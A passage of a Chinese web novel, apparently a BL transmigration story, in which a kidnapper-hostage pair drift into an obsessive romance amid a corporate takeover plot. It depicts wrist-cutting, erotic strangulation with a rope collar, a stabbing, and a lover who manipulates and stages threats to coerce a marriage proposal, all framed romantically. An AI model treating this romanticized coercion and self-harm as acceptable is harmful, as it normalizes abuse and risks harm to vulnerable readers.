他温柔的看着楚青琅,伸手将人拉过来,手指插进细密的发,低头就要吻下去。 灼热的呼吸氤氲在两人之间。 这人怎么生病了还满脑子这种事情? 要不是他现在还不能死,楚青琅才不会去给他买药。 楚青琅刚要抬手将人推开,手就顿在了半空。 干燥的热度很高的唇瓣在他的鼻梁流连,直到落到唇角。 “我会一辈子为你服务。” 祁温这样说着,干燥起皮的唇带来些微的痒。 楚青琅偏了偏头,伸手将人推开。 他声音冷淡:“我们现在不是这么亲密的关系。” 祁温站直身子,双手后背,将围裙摘下。 “那我们是什么关系?” 楚青琅果断道:“绑架犯和人质的关系,不要得寸进尺。” 祁温弯腰将药拿起,放到了客厅的桌子上,随后给楚青琅盛出了一碗汤。 “嗯,给人质买药的好心的绑架犯先生。” 祁温按着楚青琅的肩膀,让他坐下。 “能不能尝尝人质的手艺呢?” 楚青琅盯着他看了一会儿。 祁温道:“放心,没有下毒。” 楚青琅对着他这副油盐不进的态度有些烦。 他伸腿将男人踹的单膝跪地,随后掐着他的下颌,将一勺汤塞了进去。 祁温猝不及防的咽了下去,这种粗暴的手段,让他呛咳了几声。 一直早已习惯的空荡荡的胃部被热汤抚慰,熟悉的反胃的感觉随着神经跳动而呼之欲出。 祁温平常是不会吃这么油腻的,更多的时候,他只是喝一些营养液,只是为了维持生命罢了。 他滚动了一下喉结,硬生生的将那感觉压下,又看向了少年。 楚青琅对上他的视线,学着他慢条斯理道:“所以人质要为好心的绑架犯先生试毒。” 祁温无奈的笑了下,还是张开了嘴,任由楚青琅将桌子上的每一道菜都让他先行品尝了一遍。 等到全部吃完后,楚青琅也没有叫他起来,自顾自的吃了起来。 只是越吃,他就越觉得这饭菜的味道熟悉。 楚青琅拨了拨面前的鱼肉,仿佛不经意间问:“你怎么会做饭?” 祁温收回盯着他肩颈的视线,说:“梦里梦到的。” 楚青琅嗤了一声。 祁温却仿佛察觉到了什么,他反问道:“怎么了吗?不好吃?” 不,只是太合他的口味了。 楚青琅恹恹的扒了扒饭,没有回话。 “说一说。” 祁温伸手握住他的脚腕,顺着裤腿向上摸去,就算是被楚青琅用鞋底磕了一下,也没有收回手。 楚青琅俯身,攥着他的领子,冷漠道:“认清楚你的身份。” 祁温看着他。 恍然明白,难道是让他的小乖想起了那个“厉屿”? 心中杀意沸腾,但是面上,他却点了点头,甚至伸手安抚的拍了拍少年的手背。 多好的事情。 他会一步一步的代替他的痕迹。 一个死人,拿什么东西和他来争。 * 因为并不清楚女人行动的进度,再加上赌约的限制。 楚青琅只能暂时在这里呆着。 等男人吃完饭又在他的逼迫下吃了感冒药后,他就拿着绳子准备将人绑起来。 但是顾及着男人脆弱的身子,楚青琅犹豫了一下,还是将人赶到了床上。 搬来凳子放在床边,坐上后将麻绳套在了男人的脖颈。 另一端,缠绕在了自己的手腕上。 他伸手一拽,男人就只能被迫的朝他的方向倾斜着身子。 楚青琅学他那样拨弄着男人的发,看着那深邃的眼眸。 “你现在真像一条狗。” 祁温按着床边,低头将头压在少年的颈窝,他轻咬唇边的耳垂,低声呢喃。 “汪汪?” 没有想到他会这么没有自尊心,楚青琅的身躯僵硬了一瞬。 感受到他的反应,男人闷闷的笑。 楚青琅揪着他的头发,扭头咬了回去。 将人摔到床上。 “闭嘴,睡觉。” 第60章 第 60 章 别发/骚。 “祁家掌权人祁温已于十月二十四号失踪, 至今已近四天,警方仍未找出任何线索” “经相关人士分析股票大幅度的跌停,因祁温并未立下继承人和遗嘱,如果长久未找到祁温, 或者祁温去世, 祁氏总集团连带着下方超过九十个子公司的股权结构, 将发生翻天覆地的变化, 甚至有可能会易主” “啪——” 楚青琅按下祁温的意欲给他喂水果的手,看着神情平静的祁温开口。 “你应该知道这个消息是谁散布出来的, 只要再拖延一段时间,你很快就会一无所有,胜利就将属于越家。” “到时候是生是死,就是我一句话的事情。” 楚青琅和祁温一连在这个房间里面呆了许多天。 两人都不是多话的人,而且屋子里面的物资非常充足, 所以算得上是足不出户。 除了祁温故意撩拨他的时候,楚青琅才会直接对他用物理手段让他闭嘴,平常根本是将这个人忽视的状态。 只是让他没有想到的时, 明明是男人先提出来的赌约, 还用自己的身家性命做了赌注。 却完全是一副满不在乎的态度。 甚至在这几天的相处中, 根本没有提过一嘴。 就算是在新闻中看见了自己失踪的报道,也只是悠闲的洗着水果, 甚至有心思将水果切片摆盘, 每一个还插上了叉子。 祁温察觉到他没有想要吃东西的想法,顺势将水果重新放了回去。 他抽出纸,擦拭着自己沾染上水渍的手。 “小乖不开心吗?”他含笑道:“马上就要赢了。” 楚青琅眯了下眼,没有说话,只是手中的匕首在手指间翻飞。 寒光连成一片, 几乎让人眼花缭乱。 祁温却接着说:“其实没有必要那么麻烦的,岳母还是不太会商业上面的手段。” 他直接向着那寒光伸去,没有丝毫危险的意识。 “如果想要控制祁氏集团,那么直接找到最核心的一个子公司,无论用什么手段,得到里面股东的支持和大部分的股权,就可以很顺利的接管祁氏。” 寒光划破手指,鲜血一滴滴的落下,匕首被男人从掌心拿走。 “因此完全没有必要派遣小乖过来。” 两人十指相扣,鲜血带来湿濡甜蜜的香气,祁温盯着他,仿佛真的是一个老师一样,在为他解答疑问。 “这样,不仅麻烦,还会让小乖背负很多不必要的谣言。” “只是为了越珩那个白痴的话,我作为家人真的会很心疼的。” 祁温靠近,相扣的手被按倒胸口,两人肩膀双腿相贴,一起倒在了沙发上。 靠枕被踢掉,发出一声沉闷的响声。 呼吸间,唇瓣相触,身躯热度交换带来酥麻快/感。 楚青琅翻身,掐住男人的脖子,眼尾泛红,神情冷酷。 他说:“那你还说我要赢了?耍我吗?” 男人稍长的发丝贴在沙发上,他眉眼中满是克制不住的愉悦。 “没有,只是虽然走了一些弯路,但是从遗嘱上面下手也是不错的选择。相比起那样的竞争,更加顺理成章,也更加符合他们一向委婉的手段。 ” 他怜惜的抬手摸了摸楚青琅的面颊,在上面留下了道道血痕。 “只是我的小乖,最后会被抛弃吗?” 楚青琅啪的拍下他的手,坐起身整理了一下自己的衣服。 他站起身挥手将匕首扔了过去。 冰冷的匕首直接擦着祁温的脸侧插/进沙发。 于是那伸出的手不由得顿在了空中。 楚青琅声音刻意压低,带着杀意道:“别想着挑拨我们的关系,小心我把你的舌头割下来。” 祁温放下手,规整的躺在那里,黑眸看着楚青琅,闭上了嘴。 楚青琅又瞧了他一眼,转身走到了房间里面。 如果他真的是剧情里面的人物,就这样被当成一个工具,然后被毫不留情的抛弃,他还真的会因为祁温的话而动摇。 但是他不是。 所以祁温打错算盘了。 楚青琅靠在窗户旁,点开系统面板。 看着上面依然卡死的10%的剧情偏移度,缓缓的松了一口气。 虽然不知道祁温为什么这么冷静,但是他也懒得探究,毕竟女人已经发出了收尾的时间。 到了明天晚上,一切都将迎来结局。 楚青琅靠在窗前,安静的看着窗外。 身后,冰凉的体温贴着脊背,如蛇一般的手,顺着腰肢向上抚摸。 男人自动的带上了项圈,抓起他的手将尾端塞进了掌心。 “青琅,我好难受。” 自从来到这里后,男人犯病了几次,都是悄悄的。 只被楚青琅撞见过一次。 因为男人又撩拨楚青琅,他一不耐烦,就直接将人关在了浴室,得到了半天的清净。 等到楚青琅想起人的时候。 推开门,破开缭绕雾气。 浴缸中已经放满了滚烫的热水,男人十字交叉划破了自己的手腕,鲜血顺着水流,淌了满地。 满眼猩红。 这样一次后,楚青琅就严禁他自己活动。 而男人给了两个选择,一是疼痛或者放血,让他自己恢复清醒。 但是这里并没有医生,要是一不小心男人给自己搞死了,楚青琅从哪找来这么大一个白月光来和他走剧情? 所以当然不行。 那么就只剩下第二个选择。 依靠极端的欲/望,让男人彻底发泄出来,清空情绪,回归理智。 楚青琅握紧那绳子,勒紧。 脖颈上的麻绳被牵动,瞬间锁死了跳动着的动脉。 心脏氧气的供给被截断,男人的面色瞬间涨红,但是一双眼,却依然贪婪灼热的望着他。 所以,他选择了第二个。 掐着时间,楚青琅轻轻放开了手。 男人腿一软,很快跪在了地上,狼狈的咳嗽呼吸起来。 他穿着被绑架来的那一身衣服,是定制的西装套装。 藏青色的西装外套下是白色的衬衣,黑色长裤外缝线条利落,跪下可以看见被同色长袜包裹的脚踝。 一个有着莫大权力和财富的人,就这样跪在他的身前,碎发滑落,可以看见后颈突出的脊骨,正在随着呼吸起伏颤抖。 楚青琅却习以为常一般,手撑着坐到了窗户的边缘,风从他的四周窜过,带起他的发。 他垂着眼皮,卫衣宽大的领子露出一大片细腻的肌肤,裤子下是一双白色的运动鞋,一晃一晃的磕在墙壁上。 祁温很快就压下了这生理上面的不适。 站起身,向着少年走去,弯腰将少年脸上被他染上的血渍舔舐干净。 少年不耐的又攥紧了绳子,窒息感再次传来,但是这次,他却握着腿弯,将整个人都挤在少年的身体中间。 温度传递间,灼热相对。 楚青琅面上带着大片的湿痕仰头。 祁温攥着他的脚腕,声音嘶哑。 “厉屿有做到这种程度吗?他做的好,还是我做的好?” 厉先生? 楚青琅啧了一声,精致的面孔冷下。 他伸手将人推开。 啵的一声后,祁温合上了嘴。 楚青琅拿出了重新制作成的绳子还有椅子,走向了浴室,开启了浴霸。 昏黄的光芒很快就将周围炙烤的发烫。 楚青琅按着祁温将他重新捆了起来。 他真的不知道祁温到底犯什么病! 每一次都要趁着他意识不清的时候问这种问题。 他明明都说了厉屿不在这个世界上! 而且祁温虽然没有记忆,但是两人明显就是一个人。 但是这种说法他该怎么跟祁温说? 如果真的说的话,就牵扯到了任务。 楚青琅瘫着脸,捂住他的嘴。 按照被教导的那样,用癫狂的欲/望彻底让男人忘记一切 “冷静下来了?” 水流声中,灯光彻底关闭,灼热也随之缓缓褪去。 楚青琅边用香皂洗手,边问。 一旁男人连带着椅子倾倒在冰凉的瓷砖上,双手连带着腰腹都带着轻微的抽搐,脖颈上是一圈鲜艳的勒痕,隐藏在衬衣领子中,微不可察。 “啊很爽啊。” 祁温因为忽然降低的温度颤抖了一下。 他侧脸看着少年凝白脊背上的咬痕,还有纤细的腰肢上无法忽视的指印。 笑着说:“小乖真的学的很好呢。” 楚青琅关闭水笼头,朝着男人走去,他挥手直接将手上残留的水珠甩到了男人的脸上。 “那就赶紧起来,别躺在这里碍事。” 祁温张嘴。 “咚!” 楚青琅露出笑容,蹲下身子,抬手抓起他的头往地上磕了一下。 疼痛中,祁温扭头,亲了下楚青琅未收回的手腕。 他开口,尾音发轻,嗓音柔滑。 “小乖,你应该说——别发/骚。” 楚青琅深呼吸了一下,还是忍不住伸手锤了一下祁温的头。 “犯什么病!” 他决定这次任务回去,一定要找主系统把这些污糟的话从记忆中清理出去。 免得污染他这个大好青年。 楚青琅将湿漉漉的手在祁温的衣服上擦干,头也不回的走出了这里。 * “你先玩一会儿,饭菜很快就好。” 祁温将一些画笔和游戏手柄放到客厅的桌子上。 弯腰轻轻抚摸了一下蹲坐在桌子和沙发之间的空隙的少年。 楚青琅偏头,让他的手落在空中。 祁温却并不介意,又摸了一下楚青琅的耳垂就收回了手,走向了厨房。 每次都是这样,一旦亲/热过去,祁温就会褪下疯狂的表象。 或者说,现在衣冠楚楚的模样才是面具。 面前的电视依然放着,上面关于祁家越家的分析讨论越来越多。 楚青琅头靠在膝盖上,按着右手手背,时刻等待着女人即将传来的消息。 男人仿佛彻底沉浸在了这场虚假生活里面。 不时夹着一筷子肉过来,放到少年的唇边询问。 “尝尝,我做了一些改良,应该比之前有些甜。” 楚青琅盯着电视,习以为常的张嘴吃了下去。 随后便被口腔里面的甜味冲的脑袋发涨,他瞬间被打断了思绪,右手的皮肤重新变得平整起来。 “你把整袋糖都倒进去了吗?!” 祁温眨了下眼,笑着捏着手指比划了一下,“一点点。” 楚青琅侧头呸呸了几声,“你没自己尝过吗?齁死了!别乱改,就之前的就可以。” 祁温嗯了一声,转身又夹了一筷子凉菜过来。 “那尝尝这个,应该还可以。” 楚青琅将信将疑的看了他一眼,张开嘴吃了进去。 在食物落进口腔的瞬间,楚青琅皱起了眉。 “你是不是觉得要输了,所以想要我食物中毒。” 酸死了! 楚青琅严重怀疑这个家伙是故意的! 祁温却格外疑惑的样子。 他拿起筷子,自己舔舐了一下尾部,“还好啊?” 犹豫了一下,祁温说:“既然这样的话,那能麻烦小乖和我进去时刻调整一下,可以吗?” 楚青琅正想拒绝,但是又想到今天就是他在这个世界上的最后一顿饭了,很快他就会被主角攻弄死,就还是答应了下来。 祁温如愿以偿的拉着人走进了厨房。 不过楚青琅也不会做饭,他就是站在后面看着男人忙碌。 时不时的上手帮忙卷卷袖子,还有拿拿调料。 然后品尝一下味道。 到最后,楚青琅都有些吃麻了,祁温才终于表示完成,把他赶到了客厅坐着。 楚青琅坐在餐桌主位,看着男人来来往往的端菜,总觉得有些奇怪,但是不过是做个饭,男人能做什么? 下毒? 祁温怎么可能用这么低劣的手段。 而且,今天的饭菜好像格外的丰盛。 在他思索的时候,男人已经将所有的菜端了上来,又找出了一些白色的蜡烛,点燃,放在了桌子上。 灯光倏地关闭,楚青琅身躯紧绷了一下,但是心中却没有什么危险预警。 跳动的烛火浅浅照亮着两人的脸庞。 祁温捧着不知从何而来的花朵,一步一步的朝他走来,将其放到了桌面上。 他这次并没有像以往那样坐到楚青琅的旁边,反而端正的坐在了对面。 楚青琅坐在那里,看着那五彩缤纷的花朵上,又被男人放上了一颗闪烁着红点的机器。 男人从来没有出去过,这花朵是从哪里来的? 楚青琅伸手抚摸了一下。 上面闪烁着红点的,是监视器? 而监视器下面并不是什么真实花瓣柔嫩的手感,而是细腻坚硬的触感。 是纸? 这么大一捧,祁温是什么时候做的? 他下意识问:“今天是什么日子?” 一片片的花瓣格外生动,显然废了不少的心思。 烛光跳跃,祁温捋了下衣服。 苍白阴郁的男人眉眼舒展,一双眼深深的望着他,细密的感情蛛网一般将楚青琅全然笼罩。 男人说:“我的生日。” 楚青琅愣了一下。 他下意识的收回手。 生日?对于人类来说应该是一个很重要的日子? 犹疑间,祁温对着一旁摆放的摄像头开口。 “11月4号,就是今天,也是我的生日,非常高兴我和我的爱人青琅共同做出了一桌子大餐,这道菜是红烧肉” 楚青琅看着男人一道一道的指着菜,介绍着菜名,语气里面满是炫耀。 他在干什么? 楚青琅完全被搞蒙了。 难道今天那一出就是为了这个? 只是因为是自己的生日,想让他参与做饭送给自己? 祁温挨个介绍完后,倾身拉住了楚青琅的手。 他说:“小乖,来和我一齐许愿,在生日这天许下的愿望,都会实现的。” 烛火扭曲跳动,男人的双眼也被照出些许琥珀色彩,仿佛蜜糖一般。 楚青琅下意识挣了下,却并没有挣扎开。 他只能语气冷硬道:“我没有愿望。” 他的愿望是得到自己的记忆,而得到自己的记忆需要完成任务,但是这些又怎么能够说出来。 楚青琅忽然顿了下,他直直的看着男人,说:“真的会实现?” 祁温翻过他的手,按着掌心将手完全握在手心。 他笃定道:“会的。” 无论什么愿望,他都会为他实现。 少年面上仿佛带了些许的忐忑,男人看见他抿了下唇,同样反手紧紧的握住了他的手。 力道很大,仿佛要将他整个人拽过去。 楚青琅说:“我希望妈妈赢得胜利。” 两边的烛火将男人的面容分割,看不清情绪。 只要女人的愿望完成,那么祁家就可以顺利的被越家吞并,他的任务也就可以来到尾声。 在祁温被越珩救出去后,他的任务就算是完成了。 楚青琅深呼吸,又重复了一遍,“祁温。现在就算是你再许下你赢的愿望也没有用了,我先说的。” “啊。”祁温忽地笑了,他说:“不会的,你的愿望都会实现的。” 楚青琅因为他这哄孩子一般的态度拉下了脸。 他收回手说:“装模做样。” 祁温笑得更加厉害。 楚青琅下意识的扭头,只看见光滑的玻璃上,红点依然一闪一闪的。 这里是女人安排的地盘,有一些监控器也是正常的。 但是祁温到底是怎么发现的?还拆了下来? 明明两人相处了这么多天。 楚青琅下意识的不安起来。 “今天的菜应该是最和你的口味的,先吃饭吧。” 祁温站起身,为他倒了一些酒。 楚青琅突地问道:“你的愿望是什么?” 骨节分明的手握着酒瓶,衣袖旁的扣子反射着金灿灿的光芒,听见问话,男人不紧不慢的将酒杯推给他,重新坐了下来。 祁温摸了摸兜里的方型盒子。 面上带着笑,语气柔软。 “我的愿望,就是实现你的愿望。” 仿佛看出了楚青琅并不相信,他扭头对着监视器说。 “岳母,您也会为了努力实现青琅的愿望而加油的吧?对了,这些天的录像,麻烦得备份送到温德姆,辛苦您了。” 楚青琅愕然转头。 原本关闭地电视机猛地亮起,显现处一处明亮奢华的办公室,长长的桌子两边,坐满了人。 镜头抖动。 电视机上出现了一个女人的面容。 楚青琅率先站起身,朝着电视机走去。 女人露出笑,优雅美丽。 “岳母当然会努力的,小温。” 60-70 第61章 第 61 章 留不下。 祁温说的话在楚青琅脑海中回响。 就算女人没有拿到密钥, 她也可以通过找到最核心的一个子公司,收服那些股东而收拢权力。 那么,她现在所在的地方就是 仿佛为了肯定他的想法,女人重新将摄像头反转了过去, 镜头前一群老头正在面露焦躁的沉默着, 他们翻看着手中的文件, 不时窃窃私语。 祁温走来, 拥着他一齐坐到了沙发上。 女人在镜头后悠悠开口。 “小温应该对这个公司很熟悉吧,还是多亏了你的提醒, 我才知道还有着这么简单的办法。” 祁温将下巴放在楚青琅的头上,双手锁紧他的腰肢。 “原来是这样吗?看来是我将祁氏集团拱手让人了,只是不知道您是用了什么办法才能在这么短的时间段内说服他们呢?” 女人笑了一声,染着红指甲的手在桌子上玩味的敲击着。 “谁说一定要说服他们呢?只要确认祁家掌权人死了,越家想要接手, 谁会阻止?谁又能阻止呢?” 楚青琅心脏加速,他意识到,女人就要成功了。 她忽地软下声音, 对他说:“青琅, 就是现在, 杀死他吧,然后将尸体放在那里就行。” 明明早有预料, 但是楚青琅听见她这样说, 心脏还是抽搐了一下。 而男人却没有丝毫要逃跑的意思,甚至搂住他的身躯都是柔软的。 祁温低头吻了下楚青琅的发,“青琅真的要动手吗?” 楚青琅沉默着,一时间,耳边就只剩下轻微的敲击声。 一声一声的, 击打在楚青琅的心脏上。 该死的,越珩在那里?! 白月光不能真的死! 但是他一直沉默着不动手也绝对不符合人设。 就在女人扭头,准备催促的时候。 楚青琅猛地别开男人的手臂,拿起放在客厅桌子上的匕首,掐着脖子将男人按在了沙发上。 锋利的匕首对准了男人的心脏。 楚青琅看着没有丝毫反抗的男人,只是稍微的一停顿,便加大了力气。 他了解人体的结构和血管,这一匕首下去,顶多让男人流一点血,并不会真正的伤害到心脏。 而只要血出来了,他再把人打晕,那么就算是真正的医生,也不敢看着监视器来判断一个人是死是活。 皮肉一层层的被破开。 楚青琅的神情却始终冷酷。 祁温感觉到狠厉的动作,眼神缓缓变化。 只要女人一出现,他的所有注意都会被彻底吸引。 就在匕首将要擦着心脏过去时,祁温忽然伸手握住了他的手腕。 他说:“就算是小乖赢了,也要杀我吗?” 因为疼痛,祁温的唇泛白。他问他,眼中浮现出哀求。 “收回去好不好?你看我失踪了这么久,要是再搜查不到的话,可以为我报死亡,注销我的身份,她一样可以拿到祁家。” 祁温弯曲手肘,撑起身子,仰头蹭着他的鼻尖,声音越发沙哑。 “别杀我好不好?我们一起去外面,去哪里都可以。” 冰冷的温度顺着被握住的手腕蔓延,几乎将楚青琅的整个手臂麻痹。 女人发现了他们的僵持,声音冷下来。 “青琅,你在犹豫什么?别忘了是我激活的你!” 楚青琅颤了下眼睫,硬生生的在他的阻止下将匕首彻底插了进去。 鲜血瞬间溢出,染红了祁温胸口的衬衣,还有他的大半个手掌。 就当他准备松手起身向女人复命的时候,一声巨响瞬间响起。 “砰砰砰!!!” 楚青琅猛地抬头。 木门在猛烈的撞击下摇摇欲坠。 余光中,屏幕里的女人抖动起来,她的嗓音染上了怒火。 “越珩!你怎么敢报警?!!你难道不知道我是为了谁吗?” “别动我!我可是越家的人!!!” 门外的撞击声越来越大,楚青琅却倏地松了一口气。 还好主角攻及时赶来了。 楚青琅连忙起身,就要去开门。 越珩的声音却忽的从屏幕里面传来。 “母亲,我很抱歉,但是我们不应该用这种手段。束手就擒吧,我已经把你策划绑架祁哥的事情说了出来。警察过来只是找你问话。” 越珩既然在女人那边,那么,在这里的撞门的人是谁? 女人被穿着制服的人架起,她却盯着自己的儿子,吃吃笑了起来。 一双眼中满是寒意,话语却是对着屏幕外的楚青琅说的。 “青琅,去开门。” 撞门的人是女人安排的? 在看过两人的相处后,她做了两种安排。 要么,楚青琅真的听从她的命令杀死了祁温,那么这个后手就不会出现。 要是楚青琅反水,那么这个后手就会接替楚青琅,完成她的命令,结束祁温的性命。 电光火石间想清楚一切的楚青琅瞳孔骤缩。 男人确实安排了越珩来报警,但是他也许没有想到女人会这么疯狂。 楚青琅低头,鲜血此时已经染红了祁温的半边身子。 如果不经过治疗男人很可能失血过多而死,但是现在不是处理伤口的时机。 真的被那些人闯进来,那么白月光绝对逃不过一个死字。 祁温在这时抓住他的手,“别去,他们会把你也杀了。你没有杀死我,她不会让你也活着。” 他的声音意外平静:“房间里面没有监控器,你顺着窗户爬下去,逃出去。” 楚青琅忍不住瞪了他一眼,嘲讽道:“然后把你一个人放在这里等死吗?你不是算好了一切?怎么没有算出来还有人追杀?” 该死的,今天早上的话绝对是祁温故意说的!他到底在玩什么? 楚青琅简拿了一些药和纱布,简单给他包扎了一下,并没有把匕首抽出来。 他避开祁温的伤口,将人搀起,向着房间内走去。 男人捂着胸口靠在他的肩膀上,笑着断续说:“我又不是算无遗策,不过相比起死在他们的手中,还是死在你的手里比较好。” 反锁门后,楚青琅忙着撕开床单将两人绑在一起,祁温却偏头咬了一下他的喉结。 “要不你再给我来一下?你刚刚刺偏了。” 楚青琅咬牙道:“再说话我就给你从十一楼扔下去!” 祁温一下子安静了下来。 楚青琅面无表情的将床单在两人身上绑了个死结,又拿出了麻绳做出了一个简单的逃生装置。 随后,他揽着男人从窗口跳下。 在跳下的瞬间,大门被彻底破开,昏暗的房间阻碍了所有人的视线,根据传来的视频,他们抬枪就向着桌子射去。 很快,他们就意识到客厅中并没有人。 “这里!” 带着面罩的男人指着一扇门,上面赫然印着一个血色手印。 因为带着一个体重不轻的成年男人,楚青琅动作缓慢了许多。 绳子也并不够,到了后面,还有着三四层楼的距离。 楚青琅垂眸,瞅准后猛地晃了一下绳子,凭借惯力踹碎了玻璃,踩到了阳台上。 身型堪堪稳住,一颗颗子弹就从脊背擦过。 就像是祁温说的,女人是真的准备杀了他们两个。 “啊!!!” 玻璃破碎的声音吸引了房间里面的住户,一声尖叫猛地响起。 楚青琅低头解开腰间的麻绳,避开伤口直接将祁温背起,朝着门外冲了出去。 他并没有选择坐电梯,反而是向着应急通道跑去。 不到十秒钟,楚青琅就冲出了楼道。 还好楼下并没有埋伏的人,还好他之前问过路。 去买药的时候,他有看见过一处正在施工的工地。 一入夜,里面漆黑无比。 比起别的地方,反而更加安全。 * 从远处望去,拔地而起的楼房框架外罩着绿色的安全网。 裸漏的钢筋乱石在地上堆积,光秃秃的楼梯一脚踩下去,溅起不少灰尘。 楚青琅找了个角落,把人放下,随后拔出匕首,将药洒进伤口,粗暴的将纱布塞了进去。 祁温仰头,隐忍的皱着眉。 楚青琅将伤口缠上,掐住他的下颌逼问:“我不管你有什么计划,都给我老实交代!” 祁温一直对赌约这样胸有成竹,还挑拨了越珩报警,难道没有想过女人失败后会鱼死网破吗?真的会没有后手应对追杀吗? 祁温却只是心疼的握着他的手。 因为坠着两个人的重量,楚青琅的掌心已经被划破,漏出了里面隐藏的银色金属。 他随便瞥了一眼,就接着盯着祁温。 但是祁温的表情却仿佛看见他真的受伤了一般。 他从怀中掏出一个皱巴巴的纸花,将其放到破损处,然后拿起一旁掉落的绷带,缓缓缠绕了上去。 楚青琅差点一口气没上来。 他辛辛苦苦的带人逃跑,这个人竟然还有心情摘花? 很快,修长白皙的手就被绷带绷紧,里面若隐若现的红花仿佛是晕染而出的鲜血一般。 就在楚青琅不耐烦的时候,祁温终于开口:“小乖,虽然不知道你为什么这么相信我,但是我也是人,还是一个常年生病的人。原本别的公司的人因为我的隐居就对我产生了抵触,所以他们没准非常乐意越家来吞并祁家。” 祁温抚摸着他的面颊,语调很轻,眼中浮现痛苦。 “岳母会这样做,我真的没有想过。我以为再怎么样,她也会顾及你在这里,不会下这么重的手,只是没有想到她会这么狠。” 她不在乎你。 “我早上提醒她,只是因为你想要祁家,我想着你要是完成了她的愿望,应该会很高兴。” 她不爱你。 方形的盒子被祁温放到他的手上。 “我本来打算,许一个我们永远在一起的愿望。” 盒子打开,是一枚戒指。 深红色宝石镶嵌在银色素圈上,哪怕是无光的环境,也格外漂亮。 看着它,楚青琅脑袋有着片刻的空白。 他张了张嘴,祁温挣扎起身,向着他单膝跪地。 “我们当时只是签订了协议,还没有举行过仪式。我现在补回来好吗?小乖,你愿意嫁给我吗?” “这样就算我们一起死了,我也会凭借着戒指找到你的。” “答应我,让我成为你的家人好吗?唯一不会背叛的,家人。” 所以他当时才会准备哪些纸花? 楚青琅后退了一步,原本想要逼问的嘴却再也张不开,思绪一片混乱。 祁温看着少年动摇的神情,只觉得心口的疼痛转变为了彻底的兴奋。 就是这样,就是这样。 女人并不在意你,她只在意那个蠢货。 越珩挣脱不了束缚,至今没能明白自己的感情。 只有他,只有他会一直在你的身边。 答应吧,答应吧,答应吧,答应吧,答应吧,答应吧,答应吧,答应吧,答应吧,答应吧,答应吧。 轻微的吐气声响起。 楚青琅挥手将戒指打开。 当啷当啷,盒子滚落到一旁。 楚青琅踩着要扑过去捡拾的男人的膝盖。 他诚恳说:“我很抱歉,但是你也知道我只是一个内奸,那个合同本身就是建立在谎言上的,我也并不……喜欢你。” “我不能答应你。” 说清楚后,楚青琅忽地松了一口气。 他再一次的提醒自己。 完成任务后,他就回去了,没准这一次就是最后的见面了。 他没有必要拖着祁温,给他不必要的期待。 在黑暗中,男人跪在地上的身影仿佛凝固的石像一般。 楚青琅扣了下掌心。 他上去扶起祁温,软声道:“只要我活着,你绝对不会死,我会帮你躲避追杀,你不用担心。” 他说的并不是谎话,在剧情中他死的确实比祁温早。 祁温却忽地搂紧他,急促的喘息声后,嗓音颤抖,是仿佛被逼到极致的狼狈。 “是因为他吗?你忘不掉他?” 楚青琅任由他抱着自己,听见这话,有些迷糊。 “谁?” 湿意顺着脖颈蔓延。 哭了? 楚青琅下意识想要推开人看,却被男人按住后脑脊背,固定在原地。 冰冷的指尖顺着他的发轻轻抚摸。 祁温说:“让你把我当作替身的人——厉屿。” 啊? 楚青琅不可思议地缓缓张大了眼。 祁温竟然一直以为他把他当成替身吗? 他瞬间有些哭笑不得,但是转念一想。 这不正是一个很好的理由吗? 楚青琅咳了一声,说:“对,我放不下他。” 后背的力道一紧,祁温将脸贴住他的脖颈,嘶哑着嗓音呢喃:“但是他死了不是吗?我和他很像是不是?我也可以学他的,小乖,你喜欢他什么?我可以学的。你和我在一起的话就可以一直看见他了……” 疯了吗? 连自尊都不要了吗? 楚青琅连忙伸手将人从自己的身上撕开。 他按着男人的肩膀,将人按在墙上。 “祁温,你是你,他是他,你没有必要这样。” 楚青琅忽然想起祁温先前的举动,又说:“你看你自己也有秘密没有告诉我,我这个人最不喜欢的就是隐瞒和谎言……” 祁温打断他的话,一双眼死死的盯着他。 “我说!我说。是不是只要我说了你就会答应?” 这倒也不是。 楚青琅张了张嘴,他有些无措。 祁温接着说:“我一直在做一个梦,莫名的预感指引我参与了维拉公司机器人项目……但是我一直一直都没有等到你……自从越珩来了之后,一直有东西试图控制我的思维和感情,所以我就用放血和疼痛来维持理智。” “后来看见你,我那你的举措和项目中别的成品做了对比,他们都很像机器人,因此我明白,你不是机器……” “轰隆隆!!!” 雷声骤然响起。 系统面板在面前闪烁,上面的剧情偏移度晃动。 楚青琅连忙伸手捂住祁温的嘴,死死盯着那起伏的数字。 等到那数字稳定在10%后他猛地松了口气。 惊吓过后,楚青琅才反应过来,原来是天道的插手让祁温察觉到了。 怪不得祁温会那样残忍的对待他自己。 只能说不愧是跟了他两个世界的人,竟然察觉到了这么多。 他说他表现的一点都不像机器人,祁温怎么没有一点反应。 楚青琅说:“不用说了,我知道了。” 太阳穴突突的痛着,神经在脑海中尖叫呻吟,祁温却只是松松握着楚青琅的脚踝。 他咽下口中的鲜血,眼中顿时泛起喜悦,“小乖答应我了?” 楚青琅放下脚,走到一旁捡起戒指,拍了拍灰尘。 在祁温追随而来的目光中,他蹲在祁温的面前,将戒指塞回了他的手中。 “……祁温,你很好,但是……” 话音未落,带着血腥气和绝望的吻将他张合的唇猛地堵住。 楚青琅有点心虚,任由祁温发泄。 直到他察觉到那舌几乎要塞进咽喉,才揪着头发将人拽开。 祁温没有再试图追上那吐露冰冷话语的唇瓣,他颓然的靠躺在粗糙的满是灰尘的墙面上。 空气一瞬间安静下来,时间一点一点的流逝着。 就当楚青琅以为他彻底放弃的时候。 祁温忽然伸手将他揽进怀中,说:“哪些追杀的人不是她派的。” 什么? 男人的声音冷静到漠然。 “我手里有越家的一些材料,能够让他们家彻底败落的材料。所以越珩无论什么想法都会乖乖听话,带着警察去找女人。” “我雇了一些杀手来追杀我们,并且让越珩把指示手段交给女人。” “我以为你在被抛弃后会答应我,我想让你看清楚她的真面目,哪怕当替身,只要你答应就行,逼着你答应也行。” “所有的一切都在计划中。” 只是有一个人的心,他永远算不到。 祁温几乎将楚青琅揉进身体里。 他语气轻飘飘的,隐于肩后的表情却是克制不住的阴郁,眼眸暗沉。 “我还是留不下你是吗?” 第62章 第 62 章 锁链。 “其实我还有一个方法, 就是用林荔埋下的控制,清除你的记忆,让你真正的留下来。” “我们会永远的在一起,直到死亡。” “但是你会恨我的, 是吗?” 祁温幽幽的说完, 楚青琅脊背瞬间发寒, 没有想到这个世界会这么危险。 他都不敢想自己要是真的被清除记忆会落到什么下场。 但是他可以确认的是, 到了那种程度,他一定无法再回到主神空间。 他忽地生出庆幸来, 还好祁温说出来了。 楚青琅甚至对他心生感激。 太吓人了。 